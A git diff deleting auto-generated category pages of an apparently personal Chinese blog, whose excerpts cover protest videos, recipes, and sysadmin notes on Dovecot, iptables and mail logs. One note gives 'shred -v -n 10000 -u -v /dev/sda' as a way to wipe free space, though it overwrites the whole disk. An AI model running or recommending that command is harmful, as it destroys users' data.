本來這樣子做會擔心的就是硬碟溫度,剛好我這次用SSD來測試,不擔心溫度的問題 而且這個東西只需要一個大4pin電源就可以了。 3.光纖線 / 300 台幣 其實我一開始沒想到光纖線居然這麼貴,短短五米都開價一千多.. 後來直接找協力廠商幫忙搞一條LC-LC的線來, 算成本價 300塊 (我本來想請他喝杯飲料就算了 XD ) - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/11/index.html b/themes/public/categories/未分類/page/11/index.html deleted file mode 100644 index 93a3e1cc..00000000 --- a/themes/public/categories/未分類/page/11/index.html +++ /dev/null @@ -1,747 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    2014.3.24-手無寸鐵的民眾-被警方強力驅趕-備份

    -
    - - - 2014-03-24 - - - - - - - - - 未分類 - - - - - -
    - - - 在外頭鎮暴都還沒派來之前,裡頭的警察就先動作打人了 -[video width=“400” height=“224” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/在外頭鎮暴都還沒派來之前,裡頭的警察就先動作打人了-YouTube-360p.mp4"][/video] -中山南路與忠孝東路交岔口的行政院,院內已經開始將水柱噴向民眾了,現場傳出一股刺鼻氣味,民眾不斷驚恐尖叫 -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/中山南路與忠孝東路交岔口的行政院,院內已經開始將水柱噴向民眾了,現場傳出一股刺鼻氣味,民眾不斷驚恐尖叫-YouTube-720p.mp4"][/video] -千警清空政院後門 52學生受傷 -[video width=“640” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/千警清空政院後門 52學生受傷-YouTube-360p.mp4"][/video] [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/20140324-行政院台灣警察打人,非常暴力-YouTube-720p1.mp4"][/video] -警察驅趕媒體 -[video width=“1280” height=“718” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/2014-03-24-警察驅趕媒體-YouTube-720p.mp4"][/video] [video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察持續噴辣椒水驅離-YouTube-360p.mp4"][/video] -警察持警盾惡意狂歐靜坐無攻擊動作學生 -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察持警盾惡意狂歐靜坐無攻擊動作學生-YouTube-720p.mp4"][/video] -警察在門口圍起人牆不讓媒體拍攝,行政院內外大喊讓媒體進去、媒體監督 -[video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察在門口圍起人牆不讓媒體拍攝,行政院內外大喊讓媒體進去、媒體監督。-YouTube-360p.mp4"][/video] -這就是馬英九對學生訴求的回答 -[video width=“400” height=“300” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/這就是馬英九對學生訴求的回答-YouTube-360p.mp4"][/video] -我多麼希望這不是真的 -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/我多麼希望這不是真的-YouTube-720p.mp4"][/video] -拍到警察故意用盾牌打了從2_01開始 -[video width=“480” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/拍到警察故意用盾牌打了從2_01開始-YouTube-360p.mp4"][/video] -行政院介於後門與側門的民眾進入最後的驅離。鎮暴警察先是衝撞,接著再拉出民眾。雙方在拉扯過程中,開始零星對話,雙方都很無奈 -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院介於後門與側門的民眾進入最後的驅離。鎮暴警察先是衝撞,接著再拉出民眾。雙方在拉扯過程中,開始零星對話,雙方都很無奈。-YouTube-720p.mp4"][/video] -行政院側門部分聲援民眾撤出,一路高喊「馬英九下台、江宜樺下台、退回服貿」往立法院走,他們決定要回去守護立法院。但正門部分仍有聲援民眾與警方拉扯。 -[video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院側門部分聲援民眾撤出,一路高喊「馬英九下台、江宜樺下台、退回服貿」往立法院走,他們決定要回去守護立法院。但正門部分仍有聲援民眾與警方拉扯。-YouTube-360p.mp4"][/video] -行政院驅離現場紀錄 -[video width=“480” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院驅離現場紀錄-YouTube-360p.mp4"][/video] - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念]博客來也加入反黑箱服貿的行列啦

    -
    - - - 2014-03-20 - - - - - - - - - 未分類 - - - - - -
    - - - 今天在八卦版鍵盤關心抗議的進度 -看到有鄉民貼出博客來網頁有藏頭 -作者 ikoyumi (小喚) 看板 Gossiping 標題 [爆卦] 博客來表態? 時間 Thu Mar 20 10:28:49 2014 ─────────────────────────────────────── -http://ppt.cc/XrLg 剛剛看到 博客來也懂藏頭? -底下有鄉民支援了博客來網頁的連結 -推 Nevar:http://ppt.cc/636d  柏克萊連結支援(?) -我就順手把藏頭的部分標示出來了! -統一這次要造反了嗎!? - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [敗家] FreeNas Mini

    -
    - - - 2014-03-19 - - - - - - - - - 未分類 - - - - - -
    - - - 今天在PTT看到鄉民推文說到這個東西 -查了一下,頗有趣的! 空機大概1000 美金左右~ -FreeNAS Mini Specifications Model FreeNAS® Mini Case 4-Bay Enclosure w/ Locking Front Bezel - Super Quiet Design (<50db w/ WD Red Drives) Maximum Capacity Up to 16TB depending on RAID layout. CPU 8-Core 2.4GHz Intel Processor with AES-NI (Low Power) Memory 16GB DDR3 with ECC standard, 32GB upgrade optional RAID Level RAID-Z (RAID 5), ZFS Mirror (RAID 10), ZFS Stripe RAID Engine ZFS Network 2 x 10/100/1000 Gigabit Ethernet Port Dedicated RJ-45 IPMI Port (Remote Hardware Management) Hard Drive Trays 4 x SATA 3. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Dovecot 拒絕特定使用者連線IMAP/POP3 / Reject specified user to connect IMAP/POP3 in dovecot

    -
    - - - 2013-12-02 - - - - - - - - - 未分類 - - - - - -
    - - - ref:http://www.linuxsolved.com/forums/index.php?topic=3517.0 If users having static IP Addresses on their machines, Yes it is possible with iptables. Just apply following command can restrict the user to access POP3 and IMAP:# iptables -t filter -I INPUT -s <user's IP Address> -p tcp --dport 110 -d <mail server IP> -j REJECT (or DROP) # iptables -t filter -I INPUT -s <user's IP Address> -p tcp --dport 143 -d <mail server IP> -j REJECT (or DROP) Dont use Mail server IP in case of mail server hosted on this machine. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/12/index.html b/themes/public/categories/未分類/page/12/index.html deleted file mode 100644 index 728f3adf..00000000 --- a/themes/public/categories/未分類/page/12/index.html +++ /dev/null @@ -1,737 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]在MAILLOG中快速找出從外部利用SASL認證發信的帳號及IP

    -
    - - - 2013-11-13 - - - - - - - - - 未分類 - - - - - -
    - - - 找出來之後,再去判斷這個人是否有需要,是否真的會在外部發信。 -  > cat maillog-20131027 |grep sasl|grep -v 192.168   -Oct 26 01:24:17 SH-DNS-FC14 postfix/smtpd[25649]: C2A1A88E5E: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:18 SH-DNS-FC14 postfix/smtpd[25645]: 931E388E5F: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:20 SH-DNS-FC14 postfix/smtpd[25645]: 9B15488E60: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:31 SH-DNS-FC14 postfix/smtpd[25645]: A957B88E69: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25648]: D7D2788E6A: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25649]: D9C1488E6B: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25647]: DAFD188E6C: client=23-24-225-177-static. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [MV] 新垣結衣 - 花水木(中文字幕)

    -
    - - - 2013-10-09 - - - - - - - - - 未分類 - - - - - -
    - - - 我想,也差不多該是時候給予祝福了….https://www.youtube.com/watch?v=3yx17LiG_m0 -  -歌詞 -  -歌詞 -ハナミズキ(花水木) 作詞:一青窈 作曲:マシコタツロ -空を押し上げて 手を伸ばす君 五月のこと どうか来てほしい 水際まで来てほしい つぼみをあげよう 庭のハナミズキ -薄紅色の可愛い君のね 果てない夢がちゃんと終わりますように 君と好きな人が百年続きますように -夏は暑過ぎて 僕から気持ちは重すぎて 一緒に渡るには きっと船が沈んじゃう どうぞゆきなさい お先にゆきなさい -僕の我慢がいつか実を結び 果てない波がちゃんと止まりますように 君と好きな人が百年続きますように -ひらり蝶々を 追いかけて白い帆を揚げて 母の日になれば ミズキの葉、贈って下さい 待たなくてもいいよ 知らなくてもいいよ -薄紅色の可愛い君のね 果てない夢がちゃんと終わりますように 君と好きな人が百年続きますように -僕の我慢がいつか実を結び 果てない波がちゃんと止まりますように 君と好きな人が百年続きますように -君と好きな人が百年続きますように。 -(羅馬拼音) HA NA MI ZU KI -so ra o o si a ge te te o no ba su ki mi ko ga tzu no ko to do~u ka hi te ho si i mi tzu ki wa ma de ki te ho si i tzu bo mi o a ge yo u mi wa no ha na mi zu ki - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] VPS提高yum下載速度的工具

    -
    - - - 2013-10-06 - - - - - - - - - 未分類 - - - - - -
    - - - axelget -http://www.kwx.gd/CentOSApp/CentOS-Axel.html -本來在現在這台主機上,用yum更新東西,速度都只有 xx Kb ,去下載freebsd ISO檔案,用ncftp顯示也只有6xx Kb,發了ticket 去問,想當然的只回覆說下載的情況要看對方頻寬而定,在這邊是沒有限制的。不過,這個下載速度看了就很不爽,網路上翻了一下,有人介紹axelget這個小軟體,簡單說就是console下的多點下載軟體,裝了之後,會變成yum的一個plugin,下載速度會很明顯的增加,測試了一下,也的確是如此沒錯!yum 更新檔案的速度大概都可以來到1M甚至更高! -而且axel 可以用來單獨下載檔案,更是嚇嚇叫! > [root@vps ~]# axel http://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/FreeBSD-9.0-RELEASE-amd64-disc1.iso -v -a > > Initializing download: http://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/FreeBSD-9.0-RELEASE-amd64-disc1.iso > > File size: 641787904 bytes > > Opening output file FreeBSD-9.0-RELEASE-amd64-disc1.iso > > Starting download > > > Connection 1 finished ] > > Connection 2 finished ] > > Connection 0 finished ] > > [100%] […………………………………………..] [ 4.6MB/s] [00:00] > > > Downloaded 612. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [BLOG] 再次搬家!

    -
    - - - 2013-10-06 - - - - - - - - - 未分類 - - - - - -
    - - - 之前用的123systems 雖然一年只要30美金,就有1core / 2G RAM/20G H.D.D的規格可以用, -但是速度越來越慢,只有跑個wordpress,卻常常發生網頁開不起來,連SSH登入都近乎停擺的情況。 -剛好時間也快到了,就順勢換成另一個VPS空間 https://inceptionhosting.com/ -月租費 5.35歐元,換算大概6塊多7塊美金左右,規格同樣是 1 core/2G RAM,硬碟增加到50G。 -而且目前看起來,除了yum在安裝軟體的時候,速度比較慢,還有下載檔案速度大概只有六七百 K左右, -其他的效能都還算不錯,開網頁、登入發表文章等等都很快速,應該就此定居下來了吧。 -另外,這次順便把很吃資源的apache給換成了 nginx ,對於網站的效能應該也多少有點幫助! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] XPEnology NAS 系統

    -
    - - - 2013-09-25 - - - - - - - - - 未分類 - - - - - -
    - - - http://xpenology.com/forum/viewtopic.php?f=2&t=1028 -跟真的沒兩樣! 套件也都能夠安裝! -用VMWARE來測試OK,不知道有沒有辦法直接安裝到X86 Server上 - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/13/index.html b/themes/public/categories/未分類/page/13/index.html deleted file mode 100644 index 172c3688..00000000 --- a/themes/public/categories/未分類/page/13/index.html +++ /dev/null @@ -1,460 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [剪報] Google下一波「清倉計畫」,旗下五項服務恐將關閉

    -
    - - - 2013-03-20 - - - - - - - - - 未分類 - - - - - -
    - - - 原文發表於:http://wired.tw/2013/03/20/five-google-products-at-risk/index.html -上星期,Google總裁Larry Page一聲令下,Google立刻舉起大刀,腰斬了五項服務,其中最讓人不捨的,莫過於一去不復返的Google Reader。這波整肅行動,其實是Google實施的「春季清倉計畫」(spring cleaning)。 -這項計畫,正是由2011年4月接任總裁的Page所提出。自上任以來,他致力裁減旗下程式服務,去年九月,他執行了「秋季清倉計畫」(fall cleaning),將八項服務砍得乾乾淨淨,還對另外兩個開發介面虎視眈眈,意圖除之後快。 -Google的清倉計畫看似言之成理,實則啟人疑竇。就倖存的商品與服務來看,種類依舊是五花八門,而且許多仍在測試階段,從自動駕車程式、高科技玻璃,一路到各種社群網站、行動裝置、手機作業系統,可說是無奇不有。 -反之,功能強大、讓大批使用者為之傾倒的Google Reader,卻難逃遭驅逐的命運。兩相對照之下,Google的清倉原則顯得匪夷所思。 -根據本次大清倉透露出的開鍘標準,下回Google再開殺戒時,以下五項服務恐怕難逃一死: -1. Google TV -Google為了讓使用者能在客廳裡瀏覽網頁、開啟YouTube及Google Play,便打造了這款電視機介面,希望讓公司年營收增加30億美金。可惜,這項服務始終乏人問津,且負評不斷,加上硬體配件銷量不佳,連開發商羅技公司的總裁Guerrino De Luca都搖頭,稱其為「天大失策」。 -2. Google Groups -這項線上社群組織服務,相較於曾經紅極一時的Yahoo家族功能,確實較受青睞。不過Google Groups依舊留不住用戶,許多人早已紛紛轉向更加客製化、採垂直頁面顯示的網站(如StackOverflow),或是前去投靠如Discourse及phpBB等原始碼開放的介面了。 -想當年,Google Groups推出了Usenet介面,讓Google成為搜尋引擎始祖,但隨著金主興趣漸失,慢慢撤退,這項服務也該收山了。 -3. Blogger -Blogger於1999年問世,是推特出現前最好用的部落格介面,只是,隨著競爭對手紛紛出籠,Blogger腹背受敵,不但社群功能遜於Tumblr,客製化程度及開發團隊實力也大輸WordPress。Google之所以不開鍘,多半是擔心掀起反彈聲浪,但若要關閉發文功能,其實也易如反掌。 -4. Google Offers -2011年,Google嘗試併購團購網Groupon未果,遂推出自家的團購服務Google Offers。後來,Groupon和同業Living Social的業績起起伏伏,但Google Offers卻未能乘勝追擊,坐享漁翁之利,Google 如果還繼續投資,顯然不太划算。 -5. Google Apps -Google Apps據稱讓Google年營收多了10億美金,而其功能之前衛多元,可望開啟雲端運算時代。然而,所謂的10億美金,只不過佔Google年營收的2%。若Google真想走服務專一路線,根本不必向百般挑剔的大公司兜售軟體,好好和廣告商合作,賺進更大筆的廣告費用,豈不輕鬆自在多了? -  -連blooger 也要收掉了!? -Google Apps 要收掉真的很可惜啊… - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Hello world! 哈囉!

    -
    - - - 2013-03-11 - - - - - - - - - 未分類 - - - - - -
    - - - 歡迎來到 WordPress。這是你的第一篇文章。編輯或者刪除本篇文章,然後開始你的部落客生活! - - - -
    - - - - -
    - - -
    - - - -
    - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/2/index.html b/themes/public/categories/未分類/page/2/index.html deleted file mode 100644 index 4df2844e..00000000 --- a/themes/public/categories/未分類/page/2/index.html +++ /dev/null @@ -1,760 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 將日期變數 date variable 加入 bashrc

    -
    - - - 2015-12-22 - - - - - - - - - 未分類 - - - - - -
    - - -   -vim /etc/bashrc ( or /HOME_DIR/.bashrc) -export datecode=date +"%Y%m%d" -以後就可以直接使用 $datecode 來產生今天的日期給備份的命令用 -[root@w ~]# touch test_$datecode [root@w ~]# ls anaconda-ks.cfg ** test_20151222 ** yum.txt [root@w ~]# - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [其它] 在marvel看過最恐怖的經驗/故事(補連結+整理)

    -
    - - - 2015-12-22 - - - - - - - - - 未分類 - - - - - -
    - - -

    作者unicrysfish (獨晶魚) 看板marvel

    - -

    標題Re[其它] 在marvel看過最恐怖的經驗/故事(補連結+整理)

    - -

    時間Tue Dec 8 00:47:23 2015

    - -

    大家好我是原po

    - -

    轉眼間已經過一年了

    - -

    很開心剛剛看到板上有人整理2014跟2015的推薦文^^

    - -

    我這篇算是舊文的總整理

    - -

    有興趣也可以參考看看 -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [書籍]紅色覺醒 & 金色同盟

    -
    - - - 2015-12-21 - - - - - - - - - 未分類 - - - - - -
    - - - 推薦指數:★★★★★★★★★★ (滿分!) -在不透露劇情的前提下要推薦這本書還挺困難的! -總之就是劇情高潮迭起~緊張刺激~ -大概跟血歌差不多等級! -不過說真的,血歌的第三部曲真的有弱掉的感覺 -不過紅色覺醒和金色同盟這兩本看下來,沒有這種問題! -雖然主角練功等級有點快 ,而且沒啥香豔刺激的情節 -不過書中各勢力的爾虞我詐、衝突鬥爭真的是很不錯!這點比血歌要好很多很多~ -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] shadowcopy 語法

    -
    - - - 2015-12-21 - - - - - - - - - 未分類 - - - - - -
    - - - “C:\Program Files (x86)\Runtime Software\ShadowCopy\shadowcopy.exe” d:\outlook*.* h:\outlook_bak /s /y - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [靈感] 太陽能藍芽即時溫濕度感應器

    -
    - - - 2015-12-11 - - - - - - - - - 未分類 - - - - - -
    - - - 好像是昨天睡覺作夢夢到的? -  -感應器模組就是一個溫濕度SENSOR 加上 太陽能面板/電池模組,可以用太陽能供電 -人不必走出戶外,就能知道現在室外的溫濕度 -室內可以有一個顯示模組,就類似現在的數位溫濕度計,只是資料來源來自戶外的SENSOR -可以設定資料回傳時間(min/hour) -或者是可以傳到手機上的APP做紀錄 -顯示模組可以做成按一下再顯示或總是顯示,節省電力 -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] PIPO W8 Win8 改 Win10

    -
    - - - 2015-12-08 - - - - - - - - - 未分類 - - - - - -
    - - - 2016/03/07 Update: 最近這台出現了休眠後叫不起來的問題,我記得剛開始升級Win10的時候是不會的呀 後來是去下載了一個雙擊關閉螢幕的小軟體,就不要讓電腦進入休眠,只把螢幕關閉,要用的時候再按個鍵盤開啟螢幕這樣.. 然後看要不要去把系統設定內的電源鍵改成沒有動作,避免不小心按到..   -PIPO W8 Win8 改 Win10 趁著雙11 ,在淘寶敗了一台PIPO W8 CoreM 二合一變形筆電,等了好久終於到貨,難怪大陸同事都說雙11下定,要等到雙12才會收到 XD -拿到東西,內建的當然是Win8的簡體中文版。 -這類大陸出的Win8平板,內建的大概都是簡體中文單一語言版本,雖說可以透過一些方式,去下載繁體語言包,但是用起來總是很彆扭。 -而且win8感覺就是卡卡的,所以我也沒先查資料,就直接給他升級Win10。 -升級之後,系統果然變順了!驅動程式的部分,下載驅動精靈來安裝,會有兩個失敗,不過在裝置管理員中沒有看到有驚嘆號的設備, -想說這樣應該是正常了吧,沒想到觸控居然不能使用!? 那只好改回來啦~不然就失去「變形」的意義了啊,一直接著USB鍵盤滑鼠是能看喔? -於是從微軟那邊下載了Win8的安裝工具,做一個ISO出來,再透過卡碟機進行安裝,這過程滿順利的 -驅動程式的部分,可以從這邊抓 http://techtablets.com/pipo-w8/downloads/ -重點在於 Pipo W8 TouchSetting Gt Touch Config (1.0 KiB) 還有 OEM SLIC Bios Windows Key Reader (11.2 KiB) 這兩個檔案 -第一個是觸控面板的設定檔,安裝好Win8之後,要把這個檔案放進windows\inf 底下 -第二個是可以讀取OEM 的Windows Key (不過後面都沒用到,原因是…. you know ! ) -就這樣把Win8弄好,該裝的軟體、播放器、解壓縮等等都上去了,但就是覺得卡卡的!用得很不爽!想說再來測試一次Win10 好了! -先把系統備份好,然後一樣去微軟下載win10的安裝工具,接著開機選擇卡碟機進行系統安裝(不是從win8內升級喔~) -安裝過程一樣也是很順利,而且更神奇的是,還沒裝驅動前,觸控居然沒有問題,可以正常使用!裝完系統,透過驅動精靈把該裝的驅動程式裝一裝,裝置管理員一樣沒有驚嘆號,觸控正常,Win10也不會卡卡的,真的是太棒了! - -  -不過有個問題是win10的截圖快捷鍵我一直弄不出來(Windows Key + volume down) -最後還是用我習慣的sharex 軟體,設定volume + 的實體鍵作為截圖快捷鍵 - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/3/index.html b/themes/public/categories/未分類/page/3/index.html deleted file mode 100644 index 7825b0d0..00000000 --- a/themes/public/categories/未分類/page/3/index.html +++ /dev/null @@ -1,754 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 中華電信也被拿來騙帳號密碼了

    -
    - - - 2015-12-04 - - - - - - - - - 未分類 - - - - - -
    - - - 剛剛收到的郵件,這是第一次看到以中華電信名義來騙帳號密碼的郵件 -不過啊……你忘記換成繁體字了啦! -最好中華電信會用簡體字發信出來給客戶啦~ - -點連結以後,不意外的會開啟一個要你登入帳號密碼的網頁 -到這邊還會被騙,那也不知道該說啥了… - -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] mount / unmount disk in windows7 to prevent cryptowall or cryptolocker

    -
    - - - 2015-11-30 - - - - - - - - - 未分類 - - - - - -
    - - - 用cmd 手動掛載磁碟區 -如果系統都沒看到這個磁碟區,理論上病毒也就沒有辦法去加密 -假設你的外接硬碟在 G: -用系統管理員權限開啟 cmd -輸入 mountvol -你會看到類似這樣的畫面 > VolumeName 及目前掛接點的值可能是: > > > \?\Volume{e57d5b51-1f0a-11e5-8a86-806e6f6e6963} -> > D: -> > > \?\Volume{9531b165-0817-11e5-9a7e-806e6f6e6963} -> > F: -> > > \?\Volume{fce7fceb-0817-11e5-a59a-f72439090334} -> > H: -> > > \?\Volume{87418069-1eec-11e5-8b32-dc0ea10668d7} -> > G: -> > > \?\Volume{9531b144-0817-11e5-9a7e-806e6f6e6963} -> > C: -  -假設你要隱藏的磁碟機是 G: -卸載 umount > mountvol g:\ /p > > > </pre> <pre>這樣可以 G:從系統中隱藏起來 -**掛載** `</pre> > <pre>`mount g: \\?\Volume{87418069-1eec-11e5-8b32-dc0ea10668d7}\ ` `這樣就可以把G:再掛回來 - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 在 Linux 底下快速抹寫磁碟剩餘空間

    -
    - - - 2015-11-25 - - - - - - - - - 未分類 - - - - - -
    - - - Update -後來發現,其實內建的shred指令就可以做到了,而且速度更快~ -shred -v -n 10000(抹除 10000次) -u -v /dev/sda -用iftop 看,大概都能維持在300M 左右的寫入速度 -  -實際跑起來,從 iotop 上看到的數據,似乎是比 dd 要來得快~ -http://superuser.com/questions/19326/how-to-wipe-free-disk-space-in-linux -Wipe a drive at top speed. -Typical instructions for encrypting a drive nowadays will tell you to first WIPE the drive. -The command below will fill your drive with AES ciphertext. -Use a live CD if you need to wipe your main boot drive. -Open a terminal and elevate your privileges: - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Centos 6.x Dovecot Setting

    -
    - - - 2015-11-24 - - - - - - - - - 未分類 - - - - - -
    - - - /etc/dovecot/conf.d/10-auth.conf -add -disable_plaingtext_auth = no -  -/etc/dovecot/conf.d/10-mail.conf -mail_location = mbox:~/mail:INBOX=/var/mail/%u -  -chkconfig dovecot on -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/4/index.html b/themes/public/categories/未分類/page/4/index.html deleted file mode 100644 index fd9ed9ce..00000000 --- a/themes/public/categories/未分類/page/4/index.html +++ /dev/null @@ -1,726 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋-滷牛腱

    -
    - - - 2015-11-21 - - - - - - - - - 未分類 - - - - - -
    - - - 米格雯‎至飛利浦智慧萬用鍋的料理方法分享園地 【滷牛腱】 在好市多買了一大包的牛腱 取出2小袋剪開後裡面有4塊 先燒一鍋熱水把牛腱滾一下去除血水 夾出用清水沖洗乾淨後依序排入內鍋加入: 1、滷包(中藥店買的) 2、一大碗滿滿的清醬油 2、近半碗的米酒 3、約2大匙的糖(沒有冰糖用台糖2號砂糖) 4、3大條的辣椒(去籽) 5、3條蔥切段 6、切片的薑3大片 加水至淹過牛腱 蓋上蓋子鎖緊 上蓋限壓閥轉至密封 之前有爬過文怕選擇牛肉/羊肉模式牛腱會太軟爛 改選擇「雞肉/鴨肉」模式 音樂響起再悶個5分鐘就開鍋 夾一塊出來切片試吃 軟硬度恰到好處 也不會太鹹 大成功啊!! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋 - 雞蛋糕

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - - 智慧萬用鍋-雞蛋糕 -材料:超市買的雞蛋糕粉、雞蛋、全脂牛奶 比例:雞蛋糕粉 100 : 雞蛋 1 顆:牛奶 100g 把材料混合,攪拌攪拌,我也不知道要攪拌到啥程度,就隨性吧 XD 倒入內鍋,蓋上上蓋,上蓋開關選擇無水烹調,控制面板按到無水烹調-糕點,等待 45分鐘,就有好吃的雞蛋糕了!剛出爐的蛋糕真的超想淋一點蜂蜜上去的,看起來超有FEEL~ -不加水、不加糖(但是有甜),真是好滋味~~不過不能吃太多就是了… -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [食譜] 飛利浦智慧萬用鍋 - 蜂蜜雞蛋小餅乾

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - - 材料: “常溫”全蛋1個 低粉30g,日本太白粉10g(過篩) 蜂蜜8g(喜歡甜的可再增加) 作法: 蜂蜜和全蛋一起用打蛋器打發(濕性發泡)。 慢慢加入過篩的粉,邊加邊拌,攪拌至無粉粒狀, 將麵糊倒入塑膠袋(或擠花袋)內,袋子弄成錐形,剪小洞可擠出麵糊即可。 萬用鍋內舖上烘焙紙,隨意將麵糊擠在烘焙紙上,選擇”糕點”模式,鍋蓋選擇”無水烹調”“,約倒數40-35分時,開蓋翻面,再烤2-3分鐘就完成了。 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

